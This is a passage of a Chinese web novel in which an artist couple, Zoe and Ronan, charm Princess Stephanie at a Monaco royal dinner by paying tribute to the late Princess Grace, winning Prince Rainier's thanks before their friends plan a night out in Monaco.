“你胸口戴的白色玫瑰花是为了祭奠我母亲?” 佐伊点了点头,脸上有阴霾略过: “五年前的这个月,王妃逝世,前一阵子王宫举行了官方纪念活动,但是很遗憾我因为工作没有办法赶来,今天有幸来皇宫参与晚宴,想以这种方式弥补遗憾.戴上王妃生前最喜欢的白玫瑰花。” 知道已逝的格蕾丝王妃喜欢白玫瑰并不稀奇。 这个月月初,摩纳哥王室举行了多日祭奠活动,数以万计的民众自发来王宫缅怀他们心中世界上最美丽的王妃,据说王宫前的台阶上摆放了近5万支鲜花,全部是王妃生前最喜爱的白玫瑰。 但面前这位女士喷的是王妃生前最喜欢的香水就有些耐人寻味了.斯蒂芬妮公主心中这样想着。 格蕾丝王妃最喜欢的香水名叫‘喜悦’,那是一款1930年推出的香水,由保加利亚玫瑰、格拉斯五月玫瑰和茉莉为核心原料。 因30毫升的‘喜悦’香水需要 10000朵茉莉花和 28打玫瑰制作,曾一度被称为‘世界上成本最昂贵的香水’.也是花香型香水里程碑式的典范。 虽然它一度成为香奈儿5号的死敌,并力压过这款大名鼎鼎的顶级香水问鼎过销量冠军,但在1987年,时尚大咖们认为它的味道过于老气,已经跟不上现代香水的发展步伐了因此销量和口碑早已边缘化。 近几年,只有少部分有钱妇人仍坚持使用,但通常年纪都超过了60+。 格蕾丝王妃逝世五年了,她在世时,‘喜悦’还是‘世纪之香’。 但佐伊身上的种种表现都在凸显着她的时尚和前卫,她喷的怎么会是‘喜悦’呢? 斯蒂芬妮公主猜,她大概率是闻错的。 香水之都格拉斯距离摩纳哥并不远,想必那一定是一款小众的香水配料。 “谢谢你。”公主端庄的回以感谢,随后又补充了一句,“香水很好闻。” 时尚界说‘喜悦’老气,但公主并不这样认为。 这款香水和她的母亲一样,是永久的经典,那么这款和‘喜悦’在味觉上极其相似的、她没有接触过的香水也是好闻的。 说罢,她把脸移向另一侧,结束了这次短暂的对话。 现在最重要的事情,是想办法解决父亲对她的挑剔。 佐伊礼貌的前倾身体,和公主告别: “‘喜悦’是永恒的经典,谢谢公主能喜欢它。” “等一下。”斯蒂芬妮公主猛地回过头来,意外的问,“你喷的是‘喜悦’?” 佐伊一副‘错愕’的表情,像是没想到公主的反应: “是的,是‘喜悦’,这是我最喜欢的一款花香型香水可惜的是,现在喜欢它的人越来越少了。” 错愕的表情传染到了斯蒂芬妮公主的脸上: “你不会觉得它不够时尚吗?” 佐伊温婉的整理了一下耳边的碎发,自信的昂起脑袋: “时尚哪是那么容易被定义的?许多复古的装饰又成了此时的流行,时装周上被人定义为‘难看’的元素穿到模特身上马上变了风评,衣服也好、配饰也罢、又或者是香水不过都是根据环境而搭配的组合而已,在今天这个时间、在今晚这个地点、在我的心中此刻‘喜悦’是最时尚的。” 斯蒂芬妮公主眼前一亮,对佐伊摆了摆手,示意她走近一点: “佐伊是吧?你是做什么的?” 佐伊出现后的每一句话都说到了斯蒂芬妮公主的心巴上。 此刻公主对佐伊充满了兴趣! 晚宴上的宾客并不清楚公主是因为下午在排位赛前被亲王骂了一顿而心情不好、不想社交。 只觉得公主大人不太‘亲民’,和宾客稍微寒暄两句便躲到保镖身后应付了事,对谁都是一副不想多聊、不想多看、离我远点的冷淡样子。 这情况直接掐断他们巴结王室的念头。 虽然有些失望,不过一个稍微利好的情况是.在场还有许多可以‘巴结’的目标。 明星无论在哪个场合都是最引人瞩目的存在,放眼整个金色大厅,人声鼎沸的地方附近一定可以找到一位甚至多位只能在电视或者银幕上看到的靓影。 在这个场合中,即使是伊内斯都要放下架子。 米切兰媒体集团目前只是南法区域的纸媒霸主,想要走出南法成为法国著名杂志集团,还有着不短的距离。 虽然困难重重,但这一直是伊内斯的目标,而想要达成目标,最直截了当的方式就是和国际明星合作。 在新媒体时代到来之前,明星给品牌、媒介或者媒体赋能的能力无比巨大。 一些名不见经传的新兴品牌,只要肯花大价钱请明星,再咬咬牙把这些物料去做推广那么收益总归不会太差。 这样的案例比比皆是。 而此时的伊内斯,正在名人明星中‘左右逢源’,为米切兰杂志社旗下的几本时尚和娱乐杂志,邀约封面拍摄和采访呢。 今天摩纳哥王室邀请的是媒体合作伙伴,和伊内斯有同样目的的人不在少数,这种社交场合是最容易敲定合作的。 拉着名人明星直接点头答应,可比线下邀请,再经历层层传话有效多了。 伊内斯这回的目标是在意大利和法国国民认知度都相当高的一位知名女歌手。 聊合作的过程中,见那女歌手总是看向公主的方向,还一副心不在焉的样子,伊内斯笑着说: “公主今天心情不太好,能够出席就很不错了。” 言外之意就是——别看了,看也没用。 还是看看眼前更加实际的东西吧。 这位歌手和伊内斯打过许多次交道,了解伊内斯‘眼观六路’的高超本领,压低声音问她: “我听说,斯蒂芬妮公主是摩纳哥王室中相对随和的人,她今天怎么这幅样子啊?这么冷淡?” 伊内斯给合作伙伴营造的那种‘我最关心的肯定是你’的感受,是故意为之。 实际上她是最懂分寸感的人。 对方又不是罗南这种‘心腹’,她才不会傻到乱说八卦呢,那只会给自己找麻烦: “具体的不好说,但公主最近有的头疼了,今天应该不会太热情。” “哎——”那女歌手满脸失落,遗憾的说,“行吧,我们继续聊,对了,刚才说到哪儿了?” “说到我们是不是可以把9月份的封面定了,如果你未来几个月比较忙,可以这几天就把片子拍出来——” 不等伊内斯说完,对面的女歌手突然把头探了出去,表情和语气都无比惊讶: “和公主‘相谈甚欢’的人是谁?” “和公主‘相谈甚欢’?”伊内斯扭头看去。 因为和保镖的恋情,亲王最近看公主哪里哪里都不顺眼,一天不骂她个三四五六次就跟少吃了两顿饭似的。 公主现在哪儿心情‘相谈甚欢’啊,还不赶紧想想怎么能让亲王把气消了。 现场许多人都发现了情况,扭头看过去。 只见原先生人勿近的斯蒂芬妮公主身边,坐了一位白裙漂亮女性,那女人的面貌和气质不输在场任何一位女艺人,两个人面带笑容说的那叫一个热闹啊。 公主的手比比画画的,看起来兴奋极了。 “伊内斯,在南法和南法范围200公里以内的八卦你全都知道,那你知不知道公主身边的人是谁?”好几个人凑到伊内斯身边,想要拿到一手的消息。 这人谁啊? 怎么没见过呐! 伊内斯沉默不语,只是一味的眯眼睛、皱眉头、抿嘴巴一秒钟脸上能有四五个表情变化。 大家着急啊,虽然伊内斯只是沉默了2、3秒,但大家已经没有耐心等她回答了,开始七嘴八舌的和身边的人交流起来。 “伊内斯只是南法的‘八卦百事通’,不是南法的‘面部识别机器’,她还能每个人都认识啊?算了算了,别为难她了。” “那是个艺人吗?怎么之前没有在杂志上见过,有哪家做过她的采访吗?” “这是哪个媒体带来的?说话啊,赶紧说话啊。” 过了好几秒钟,伊内斯终于完成了她复杂又漫长的心理活动,悠悠的开口: “这人我还真认识。” ‘唰——’的一下,十七八只耳朵凑了过来。 连那些被人围着的国际明星都看过来了。 伊内斯长长的舒了一口气,表情终于缓和下来,面部表情最终定格为了‘骄傲’: “那女孩是我带来的。” 佐伊和斯蒂芬妮公主聊了多久,大厅里的人就等了多久。 公主能和第一个人‘相谈甚欢’,就一定能和第二个人‘相谈甚欢’,今晚的收获注定不止如此啊。 只看谁是那第二个幸运儿了。 但令人抓狂的是,两个女人聊了好久好久,似乎永远有聊不完的话题似的。 有胆大心细者,冒着巨大风险过去听了几次,回来给大家传达,说两个在聊的好像是一款名叫‘康迪’、‘芒迪’又或者是‘阿芙蒂’的袜子的话题。 大家面面相觑。 这么邪门的话题,他们想要巧妙的加入进去也不实际啊。 完全不知道要说啥还是老老实实的等吧! 就这么又等了一会,整个金色大厅被一种名为‘焦急’和‘嫉妒’的情绪所缠绕,没有一个人还有心思干别的事情,眼睛时时刻刻注意着那边的动态,只等两个人结束了对话,第一时间冲上去,让公主也多看一看他们。 但就在此时,一道钢琴声突兀的出现,把在场众人的注意力吸引了过去,同时吸引的,还有正在和佐伊聊一款名叫‘米尔拉什’裙裤的斯蒂芬妮公主。 “这是——”公主缓缓站了起来,走向角落停靠着钢琴的位置。 她身后,佐伊既紧张又释然的呼出一口大气。 为了了解这一家人,佐伊在过去的一个月中看了关于格蕾丝王妃和摩纳哥王室的各种传记和野史。 不限于《格蕾丝王妃:好莱坞与王冠之间》、《格蕾丝:秘密生活》、《格蕾丝·凯利:从费城到摩纳哥》、《格里马尔迪家族:摩纳哥700年王朝》、《摩纳哥往事:金钱、权力与丑闻》和《兰尼埃三世:孤独的亲王》等书籍。 看的时候她逐字逐句的品读和分析,就差拿着放大镜了那认真程度是即将会考的维埃里看了都要说句‘佩服’的程度,光是关于几个成员的喜好和生长经历的笔记就写了整整一个笔记本。 谢天谢地,她的付出终有收获! 终于引起了公主的注意 佐伊相信,今天晚上她的名字将在摩纳哥不停的被提起,等到明天.一定会有更多的人主动来认识她和罗南。 罗南。 诶,对,罗南呢? 他的准备在哪里? 随即,佐伊嘴上挂起‘胜利’的笑容。 罗南不可能比她准备的更充分了! 不!可!能! 今晚,他就老老实实的‘躺赢’吧。 想到这,佐伊轻快的跟上了前面斯蒂芬妮公主的步伐,想要去看看到底是什么东西吸引了公主的注意力。 第466章 罗南殿后,双剑合璧 金色大厅的一角。 今天,那架伫立了百年的暗金色钢琴并没有吸引过多的注意,因为出席晚宴的人不是王子,这架钢琴没有用武之地。 不过就在大家焦急的等待公主结束那些邪门的话题,幻想自己是那第二个幸运儿诞生时,坐在钢琴附近的人看到——一个黄皮肤的面孔,坐到了钢琴前的椅子上,并弹奏出了一段非常陌生的旋律。 起初大家并没有过多的注意这里。 在场来了不少歌手和懂音乐的人,不是第一次有人坐到这里弹琴了。 但通常弹一会,过过手瘾他们就离开,像是没有发生过什么事情似的。 不过这人个弹奏后,那暗金色钢琴附近的人突然多了起来,因为今晚始终没有离开过座位的斯蒂芬妮公主居然过来了。 众星环绕下,斯蒂芬妮公主觉得心中似乎有什么记忆在逐步苏醒。 他觉得那人弹奏的旋律非常陌生,但又怪异的有点熟悉. 但在哪儿听过呢? “这是什么歌曲?” “没听过啊,真的没听过,是不是自己写的?” “伊内斯,伊内斯,你知道这人弹的是什么歌曲吗?” “坦白讲,即使连十年前只发行过200张的专辑歌曲我都听过,但我确实不知道这是什么歌曲。”伊内斯眉眼带笑的说。 佐伊的瞩目表现,让伊内斯在场内的地位也跟着提升了。 有几个之前‘高攀’不上的明星主动过来和她打了招呼,似乎又有了合作的可能性。 其中有一人开玩笑的说: “你‘南法百事通’的名号都没了,还笑得那么开心?” 伊内斯笑的更开心了。 主编大人觉得今天是她今年来,不,应该说是这几年来最开心的一天,会一辈子记在心里的那种。 “因为这个人也是我带来的。”她更加骄傲的说。 没错,弹琴的人是罗南。 伊内斯一共只带了两个人来参加晚宴。 两个人都弄出了相当大的动静。 这代表什么? 这代表她伊内斯的眼睛是雪亮的! 看人一看一个准! 今晚不仅仅佐伊和罗南的名字将在摩纳哥的上空被频繁的提及,伊内斯和米切兰杂志社的名字同样会被人记住。 伊内斯的心里突然涌出了一个‘荒谬’的想法——米切兰杂志社闯出普罗旺斯,不会要靠面前的这两个孩子吧? 人的悲喜并不相通。 伊内斯的情绪是兴奋和激动,而在斯蒂芬妮公主身边,佐伊的情绪只有一个——那便是震惊。 她的眼睛瞪的比头顶的水晶吊灯灯泡还要大。 坐在钢琴前弹奏的人居然是罗南 这怎么可能? 熟悉罗南一家的人都知道,罗南的母亲冯珍从小就想把罗南培养成为一个有艺术感的人,但遗憾的是,幼年时期的罗南没有任何艺术细菌。 无数次聚会上,冯珍都曾痛心疾手的从不同角度说着同一个故事: “在罗南7岁时,我们送他去学过电子琴,三个月过去,他连《小星星》的A段都无法完成,问题是全程陪读的我们都学会了.他那个手啊,跟十根胡萝卜似的,既僵硬又笨拙,弯都不会弯一下!” 但此时,那十根‘既僵硬又笨拙,弯都不会弯一下’的胡萝卜居然能弹出旋律了? 这简直是奇迹! “这也太努力了。”佐伊心情复杂的嘟囔着,“比我还努力。” 罗南自然不知道未婚妻内心的吐槽和想法。 因为他全情投入的始终闭着眼睛。 演奏了一会,一个不留神睁眼,看到那么多人围着自己,吓的赶忙站起来: “公主晚上好。” 旋律暂停,斯蒂芬妮公主马上问道: “这首歌叫什么名字?为何会让人如此的熟悉?” 罗南应对如流: “这首歌曲没有名字。” “没有名字,怎么会没有名字呢?”斯蒂芬妮公主着急的问。 女人的第六感告诉她,这首歌她一定是听过的。 罗南歉意的说: “因为这是美国百老汇一出戏剧中的插曲,也许它有名字,但经过了这么多年,已经无从而知了。” 斯蒂芬妮公主似乎是想到了什么,追问道: “这出百老汇的戏剧叫?” 罗南露出了伤心的表情: “这出百老汇的戏剧叫《父亲》。” 围观的人不知道罗南为何要露出那种表情,但下一秒他们就听到斯蒂芬妮公主嗷的一嗓子惊呼出口: “《父亲》!《父亲》?母亲在百老汇的第一部作品《父亲》里的歌曲?” 罗南点头,肯定道: “没错公主,就是这部戏剧。” 格蕾丝·凯利王妃在走上大小银幕之前曾在百老汇出演过一阵戏剧,不过都是些配角,在她参演电视剧和电影后才渐渐走入了大众的视野。 可能连王妃的子女都忽略了这一段经历,但做足了功课前来的罗南不会忽略。 他和佐伊一样,在得知伊内斯要将他们带来摩纳哥时就开始做准备了。 就像他对巴蒂和卡福说的那样,这种机会一辈子恐怕就这一次,怎么可能空手而归呢? 但罗南和佐伊比有一个天然的劣势——他没有太多时间做准备。 需要处理的事情有点多,所以无法通过‘题海’战术应对考试,只能想点野路子。 摩纳哥王室的信息并不是秘密,看过几篇报道后,利用一下金色大厅里这架钢琴的想法出现了。 小时候,小臂前面的那十根的确是胡萝卜,但在系统好几个技能的改良之下,那十根已经变成手术刀了。 精细的雕花都可以,弹钢琴当然不在话下。 弹成钢琴大师可能需要下点功夫,正常发挥还是很容易的。 事实上罗南准备了许多首歌曲,会根据今天出现的王室成员而改变策略。 如果是王子来,他会弹奏出时下夜店里最流行的的士高歌曲旋律,当然了,是柔情版本的,坊间有奇人异士对其做出过改编。 如果是卡罗琳公主来,他会弹奏公主离婚那天在家里播放了整整半天的乡村音乐,有八卦杂志拍到,公主听着那首歌跳了整整两个小时。 别问公主为什么听着乡村音乐跳舞,公主喜欢就行了,不该问的别问。 应对以上两位,罗南做足了准备,有十几首歌曲的储备。 但他最怕的情况就是见到斯蒂芬妮公主。 八卦杂志对这位公主的报道不多,罗南对她不够了解,只能搬出她的母亲格蕾丝王妃。 事实上,这也是应对兰尼埃三世亲王的手段。 虽然这位亲王出现的可能性非常小,自从妻子逝世后他就很少会出席非必要活动,且每一次露脸都会显得无比悲愤,还只穿黑白两色的衣服但罗南还是准备了。 如果是兰尼埃三世亲王出现,罗南的准备能够吸引其注意并收获好感度的概率最高。 这位亲王比世界上的任何人都思念他的妻子。 也许娶她的目的是为了拯救摩纳哥,但最终走向了真实的感情。 思绪收回。 斯蒂芬妮公主是罗南最不愿意面对的王室成员,因为他不够了解对方,无法预估有可能会发生的事情。 果然,公主听到罗南的回答后,刨根问底起来: “既然不知道这首歌曲的名字,你又是如何学会的?” 罗南短暂的卡壳了一下。 这确实是一个小小的bug,但又没有到可以难住他的地步。 罗南思索了一秒,找到了一个还算安全的答案,正要开口,原本站在斯蒂芬妮公主身边的佐伊挽住他的胳膊,与他并排看向对面的公主,并先一步回答道: “还记得我刚刚跟您说,因为工作错过了王妃的祭奠活动吗?那一次我没有去成,但我男朋友去了,他在排队给王妃送花的队列里,听到有街头艺术家弹奏了这首歌曲的旋律,交谈之后才知道,这原来是来自那首百老汇的戏剧。” 罗南可以骗过所有人,但他骗不过佐伊的眼睛。 佐伊敏锐捕捉到了罗南那‘转瞬即逝’的卡壳。 在刚刚的交流中,公主和佐伊已经建立起了相互信任。 尤其在其母亲格蕾丝王妃的话题上。 罗南和佐伊的默契已经超过了天际,根本不需要提前沟通的那种。 听到佐伊给出的答案,罗南顺势补充道: “那位街头艺术家弹奏了许多首曲子,都是关于王妃的,您应该知道有多少人惋惜于王妃的离世。” 斯蒂芬妮公主叹气道: “在我的印象里,母亲一直是一位被人喜欢和爱戴的人。” “是啊。”罗南和佐伊同时流露出了伤心的表情。 斯蒂芬妮公主看着罗南问: “也就是说,和我母亲有关的歌曲,你还会弹好几首?” 罗南点点头: “是的,会几首。” 斯蒂芬妮公主不置可否的‘哦’了一声,不知道在想什么。 突然,她看向佐伊: “诶,对了,这人是你男朋友?” 佐伊向公主介绍道: “是的,这是我男朋友罗南。” “哦哦,罗南啊。”斯蒂芬妮公主转身离开,脚步比来的时候快了不少,似乎有什么着急的事情处理。 她身后,跟着一个由十几个人组成的大队伍,全部是等着和公主搭话的人。 二号幸运儿也出现了,第三个该轮到我了吧? 甚至有心急的家伙,冒失的和公主搭起话来,想要引起公主的注意。 说时迟那时快,斯蒂芬妮公主突然一个急刹车,再次回到了钢琴前的位置。 她看了一眼佐伊,又看了一眼罗南,忽地长大嘴巴: “佐伊、罗南、佐伊、罗南.等等,你们是那对情侣艺术家?!” 罗南和佐伊互看了一眼,笑着点头: “是,是我们。” “上帝啊,上帝,我说佐伊的名字怎么这么耳熟。”斯蒂芬妮公主做了一个‘老天怎么会这样’的丰富面部表情,紧接着露出了今晚的第一个微笑,“虽然我好久没有离开摩纳哥了,但我听到不少你们的故事,尤其是你啊罗南。” 她盯着罗南看: “我的委托人每过几周就要跟我提一次你的名字,对了,你最近做什么新作品了吗?” 罗南不好意思的摇头: “没有,最近都没有做什么东西。” 终于把人物关系搞清楚,斯蒂芬妮公主心情非常不错的对小情侣招手: “来吧,坐下聊,我们在这里会影响其他人。” 罗南悄悄巡视了一圈周围眼睛都羡慕红了的各路嘉宾,拉着佐伊的手赶紧跟上公主的脚步,同时用只有佐伊能听到的声音说: “快走,今晚我们配合的太默契了!我就说肯定能事半功倍!” 什么本土明星,什么国际巨星.在我们面前黯然失色! 这是常年朝夕相处培养出的默契。 佐伊也发出只有罗南能听到的声音,不过那声音里夹杂着掩饰不住的喜悦: “今晚我表现的不错吧?” 还没在一起时,佐伊就知道罗南是个‘演员’,而且是个演技还不错的演员。 但也是因为他精湛的演技,佐伊才在普罗旺斯出名了——是他通过演技,在器物博览会上帮助佐伊吸引来了关注。 今晚,佐伊也第一次露出了她演员的一面。 今天他们两个配合的天衣无缝,简直可以用完美来形容。 罗南摸了摸佐伊的脑袋,忍不住咧开嘴: “什么艺术夫妇,以后请叫我们‘演员’夫妻!” 谁说只有佐伊是明星? 我们两个明明都是优秀的‘演员’嘛! 正当小情侣说悄悄话之际,前方的斯蒂芬妮公主再次来了一个急刹车,回头对他们说: “不不不,佐伊你跟我来,罗南,你回去继续弹。” 说完,她小声对身边的保镖说: “阿尔希勒,你去通知父亲,说我今晚举行了一场关于缅怀母亲的宴请,金色大厅里有普罗旺斯著名艺术家弹奏母亲出名前和出名后的各种插曲和主题曲,刚刚罗南弹奏的那段旋律,我在很小的时候听父亲哼过,相信听到这个消息,父亲一定会无比的开心。” 演员可不止两个。 斯蒂芬妮公主也是一位优秀的演员。 她正头疼如何向父亲证明自己心里有逝去的母亲.方法现在不就有了? 第467章 不夜城 媒体宴请在罗南、佐伊和斯蒂芬妮公主的联手搅动下,变成了缅怀格蕾丝王妃的活动。 不少人都学着佐伊的样子,在胸口别上了白色玫瑰花——这些花是公主为做足全套,命令人准备的。 格蕾丝王妃去世后,尼埃三世亲王极少在非必要场合出现。 但和逝去王妃相关的活动他非常积极。 斯蒂芬妮公主派了最信任的保镖去给父亲送信。 即使亲王大人不会亲临,也一定会派人来看看动静。 上午被指责不够尊重逝去的母亲,晚上就举办了一场围绕母亲的缅怀活动,而且5月份正是格蕾丝王妃逝世的月份.一切都说得过去。 相信听到这个消息后,那个最近看自己非常不顺眼的父亲,一定会改变态度的。 今天来的都是‘八面玲珑’的家伙。 虽然不知道为什么今晚的宴请突然有了主题,而且主题还是格蕾丝王妃,但很快便一个学着一个,将话题引到了王妃身上就像公主希望的那样。 在场众人几乎都戴上了白玫瑰花,还聊着类似的话题,但待遇却千差万别。 公主的心情因罗南和佐伊的出现而略有好转,逐渐‘热情’起来,终于融入了当晚的媒体宴请中去,但无论她和谁交流,身边一定带着佐伊,就像是她身上的挂件似的。 公主对佐伊的‘与众不同’也许是无意为之,只是觉得两个人有缘。 也有可能是故意感谢. 但管他呢? “总之今晚的任务已超额完成了,不是吗?” 罗南擦了擦脑门上的汗,又甩了甩了十根胡萝卜和手腕,继续弹奏下一首歌曲。 “今晚过后,佐伊一定是摩纳哥大奖赛上最引人注目的嘉宾了!”罗南心中狂喜。 他今晚主要的作用是充当BGM,并不在焦点之下。 真正的焦点人物,是跟在斯蒂芬妮公主身边的佐伊。 佐伊的收获,就是罗南的收获。 佐伊的成功,就是罗南的成功。 他们早已不分你我! 能有如今的局面,罗南已无比满足,不再奢求其他了。 金色大厅内的钢琴声愈发激昂,很显然,弹奏者的手指随着心情一起飞起来,徜徉到了不知道哪个令人心旷神怡之地。 正当罗南人琴合一、弹得忘我之际,公主身边送信的保镖跑了回来,附在正和人探讨明日F1正赛谁能拿到冠军的斯蒂芬妮公主耳旁说了些什么。 公主的表情肉眼可见的兴奋了起来。 低声和那保镖交流了一阵子,随后嘴唇用力的抿起,似乎已经憋不住笑了。 那之后公主的心情突然大好。 她爽朗的笑声追赶上了激昂的钢琴声,与它一起徜徉去了那令人愉悦之地。 过了半个小时,两个陌生人进入了金色大厅,径直走向斯蒂芬妮公主。 其中一个人的手上拿了一个雕刻着繁复花纹的考究托盘,那上面盖着红色的锦缎,不知道里面放着什么。 “公主,亲王大人有几句话让我带到。”手中空无一物的人对着公主说。 他并没有特意压低声音,四周的宾客都听清他的话。 微不可查的倒吸凉气声出现,紧接着是几道慌乱移动座椅的噪音。 所有人紧张的看向大厅的出入口。 亲王? 尼埃三世亲王? 公主坐直身体,微微颔首,期待的扬了下下巴,示意那人继续。 “亲王说他好久没有听到过那些尘封中的旋律,这让他记起了和王妃初识的岁月,他非常喜欢你这次的安排。” 嘉宾们猛地环顾四周。 尼埃三世亲王已经来了? 否则怎么能听到那些旋律?! ‘南法百事通’伊内斯淡定的给周围人科普: “格蕾丝王妃逝世后,亲王已经许久没有出席过宴请活动,他应该没有来现场,不过我猜他在隔壁。” 大家顺着伊内斯的眼睛看向金色大厅的一面普普通通的墙壁。 伊内斯的声音再次响起: “听说,那里有一间隐藏的祷告室,每当亲王想念王妃,就会把自己关在那里面。” “果然什么都逃不过你的眼睛。”有人赞叹道。 今日过后,伊内斯在南法的‘媒体女王’身份已经坐实。 再也没人敢忽视这位干瘦、干练的职业女性,和她身后的米切兰杂志集团。 亲王的传话让斯蒂芬妮公主无比开心。 没来就没来吧,不打紧。 今天来的都是混媒体的人,亲王的话在明天一定会出现在各种大小报刊杂志上。 斯蒂芬妮公主开心的翘起了脚尖。 快让世人看看。 摩纳哥王室不止有卡罗琳公主和阿尔贝王子,还有我斯蒂芬妮! 我也非常讨父亲的开心! “父亲还说什么了?”公主咬字清晰的问,主动给媒体们提供更多的素材,随后又指了指那个托盘,“这里是什么东西?也是父亲带给我的吗?” 继续,快继续啊,多夸两句给这些人听! 尼埃三世亲王的亲信摇了摇头,打开了盖在上面的东西,露出了一张很普通的黑白照片。 他的声音清晰的传入了在场每个人的耳朵里: “亲王说,今天听到的那些歌曲险些消失在他的记忆中,感谢那位演奏者唤醒了他的记忆,能找到这些曲谱的人一定是极其喜爱王妃的,为了表达感谢,亲王将送他一份礼物,王妃生前喜欢摄影,这是她亲自拍摄的照片,上面是她最爱的三个孩子。” 格蕾丝王妃的爱好广泛。 表演、电影、古典音乐、园林与花艺、戏剧、宠物、摄影.她是一位非常热爱生活的人。 不过在杂志的笔下、在媒体的镜头里、在熟悉她的人口中,王妃最最最喜欢的东西,一定是她的三个孩子。 格蕾丝王妃非常珍视家庭生活,是一位慈爱且投入的母亲,喜欢亲自照顾孩子,不想错过他们成长的每一个点点滴滴。 今晚斯蒂芬妮公主的情绪起起伏伏,从焦躁到惊讶,又从惊讶到欣喜来回变换了七八次有余,却唯独没有最‘应景’的悲伤和哀恸。 但此时,看着托盘上的褪色老照片,公主的心沉了下去: “她是最好的母亲。” 晚宴的后半场气氛非常严肃,斯蒂芬妮公主肉眼可见的格外悲伤。 这就使得带着目的来的嘉宾们也不敢太放肆的完成自己的目的,即使社交也小心翼翼的。 不过今天才第一天,明天还有正赛。 时间还是有的。 晚宴结束,罗南和佐伊带着尼埃三世亲王赠送的礼物坐上了伊内斯的车子,一起返回酒店。 这两天,所有米切兰杂志邀请来的嘉宾,和米切兰杂志社的工作人员都住在同一所酒店里。 来的时候,伊内斯还拿罗南和佐伊当作是两个‘小朋友’,细心的给他们讲人物关系和注意事项。 回去的路上,伊内斯已经开始向两个孩子‘取经’了。 今天发生的事情,绝对不可能是偶然为之。 你们到底是怎么做到的? 伊内斯是罗南和佐伊毫无疑问的‘恩人’,没有她,小情侣到不了摩纳哥,类似的帮助数不胜数。 而且米切兰杂志社要捧罗南和佐伊,这不是一朝一夕能够完成的事情,未来大家是长期的合作关系。 从另一层关系上看,伊内斯在粉红酒和斯特斯加方面也是绝对的自己人。 于公于私,都不该对她有秘密。 于是,罗南和佐伊先后坦白了这段日子的准备,和计划的全部样子。 这也是小情侣之间第一次坦白,听完,三个人瞪起了6只眼睛。 “你也太拼了佐伊,一个月搜集了那么多材料,还全部记住你刚刚说的那些东西,我听着就头晕了。” “我再拼能有你拼?你为了这次活动甚至学了一门技艺,钢琴都学会了,那不是你的童年噩梦之一?这样看来还是你更加努力。” “你们两个都够拼、够努力了!”伊内斯努力控制自己的表情不要太难看,并平复自己的复杂情绪,“你们两个有这种野心和抱负,做什么都能成,我的话就放这里了!” 罗南和佐伊互看了一眼,同时闭上嘴。 伊内斯的情绪看起来不太妙啊. 还是闭嘴休息吧。 摩纳哥是著名的不夜城,这里的夜晚和普罗旺斯像是两个世界似的。 看着车窗外想事情的伊内斯,每过一两分钟就会被眼前的景象打断思路,根本无法集中注意力。 巴黎大饭店与赫米塔日酒店灯火通明,金色外立面在灯光的照耀下辉煌无比。 路边的夜总会和迪士高舞厅比比皆是,门口全是精神抖擞的帅哥和美女。 最热闹的一定是蒙特卡洛赌场周围。 那绝对是摩纳哥夜晚最亮、最耀眼的核心区域,如果不看天色,根本不知道现在是晚上。 不过窗外的灯光再耀眼、景色再炫耀,也无法和她共处一车的罗南和佐伊相比。 伊内斯觉得她押注的绝对不是简单的两个艺术家,而是普罗旺斯最最耀眼的两颗星星,那是比夜晚的摩纳哥还要耀眼的存在。 路过一个灯光稍暗的街道,伊内斯在车窗上看到了罗南和佐伊的倒影。 心里的想法更加纷乱了。 罗南回到他的大床房,看到里面乌央乌央的人头差点崩溃! “你们怎么还不走?” 特奥一个鲤鱼打挺从床上坐起来,特别不高兴的说: “什么话啊,孩子和老人都回去了,我们是特意留下的。” 巴蒂从阳台跑了进来,兴奋的手舞足蹈: “他们回来了,我们快出去吧!” 厕所响起了冲水声,康奈尔一边提裤子一边跑出来: “罗南,走啊,去赌场,我们都等你呢。” 特奥咂巴了一下嘴,盯着康奈尔说: “赚多少钱了,就敢去赌?娶老婆的钱存够了吗?车什么时候换?不是你发誓娶城里姑娘的时候了?” 说罢,他一手夹住罗南的脖子,就要把人往外带: “当然是去喝酒啦,24小时不打烊的酒馆不去体验一下怎么行呢?” 巴蒂只用了十秒钟就完成了换装,骚气的不得了: “还是听我的去舞厅吧,那里也有酒啊,你们愿意喝酒的喝酒,愿意跳舞的跳舞,愿意看——总之能满足所有人的需求。” 一推门看到的景象让罗南有点上头,仔细看了一看,人确实走了不少。 但那几个‘最讨厌的人’都在! 罗南看向正在和宝莱特等女生打扑克牌的歌迪亚: “这是什么情况?” 我不是让你把人全部请出去吗? 你拍着胸脯的保证都是假的?? 歌迪亚脸上贴满了纸条,远远看去跟木乃伊似的。 很显然她们这个扑克牌局进行了有一段时间,算算时间,说不定他们在赛程场一分开就开始了。 歌迪亚掀开眼前密密麻麻的纸条,语速飞快的回答: “走什么走,特奥和康奈尔那一嗓子给你帮了大忙,下午摄像给了你好几次特写,有了这个铺垫,即使在大全景上你也是非常亮眼的,一眼就能被人注意到,这么值得高兴的事情当然要去庆祝一下,你等我一下啊,打完这局咱们就出去,不过我建议先去找个地方吃饭,这里的餐厅也是24小时的,吃完才有力气嗨嘛,两个2!哈哈哈——我赢啦!” 卢尔马兰没有夜生活,在普罗旺斯境内有夜生活的城市也屈指可数.24小时都能找到好吃、好玩的地方更是没有了。 这次一行人在摩纳哥只过这一夜,还有大喜的事情发生,用脚趾头想也知道,当然不会轻易的去睡觉.必须先狠狠的去玩一场。 只是要去哪无法统一。 摩纳哥的夜晚可以去的地方太多,每个人的想法都不一样,说服了这个说服不了那个,眼看就要打起来了。 正在沙发上睡觉的卡福被争吵声吵醒,迷迷糊糊的看了眼争论的众人,又看了看罗南,最后把眼睛闭上: “你就别有侥幸心理了,不管是去哪儿,今天晚上都肯定要出去,还是赶紧定地方吧,我再睡会,一会出去时记得喊我啊。” 罗南无力的坐到大床的一角上,终于接受了这个事实——他和佐伊今夜注定无法独眠了。 “你想去哪儿?”罗南问佐伊。 他去哪儿都行,主要看佐伊的态度。 佐伊想了一下,表情有点跃跃欲试起来: “你别说,我还真想去一个地方。” 正在唉声叹气的罗南突然看过去,脸上又出现笑容了: “真的假的?我也有一个想去的地方咱们俩不会又想到一起去了吧?” 格蕾丝王妃喜欢‘喜悦’香水,一个重要的原因是她非常喜欢玫瑰花。 据说她在世时,摩纳哥皇宫内的每一个角落都可以闻道玫瑰的味道。 王妃逝世后,亲王为了纪念亡妻,在海洋馆附近修建了一所玫瑰园,园内种植了超过4000株来自世界各地的玫瑰,公园中央还有一个王妃的青铜雕像。 在寸土寸金的摩纳哥,能拿出一整片地来纪念一个人,足以见亲王对王妃的思念。 相比较于摩纳哥王宫,这所玫瑰园是喜爱王妃的民众更喜欢来的地方。 冷冰冰的高墙只会禁锢王妃的灵魂,自由的花朵更符合王妃的形象。 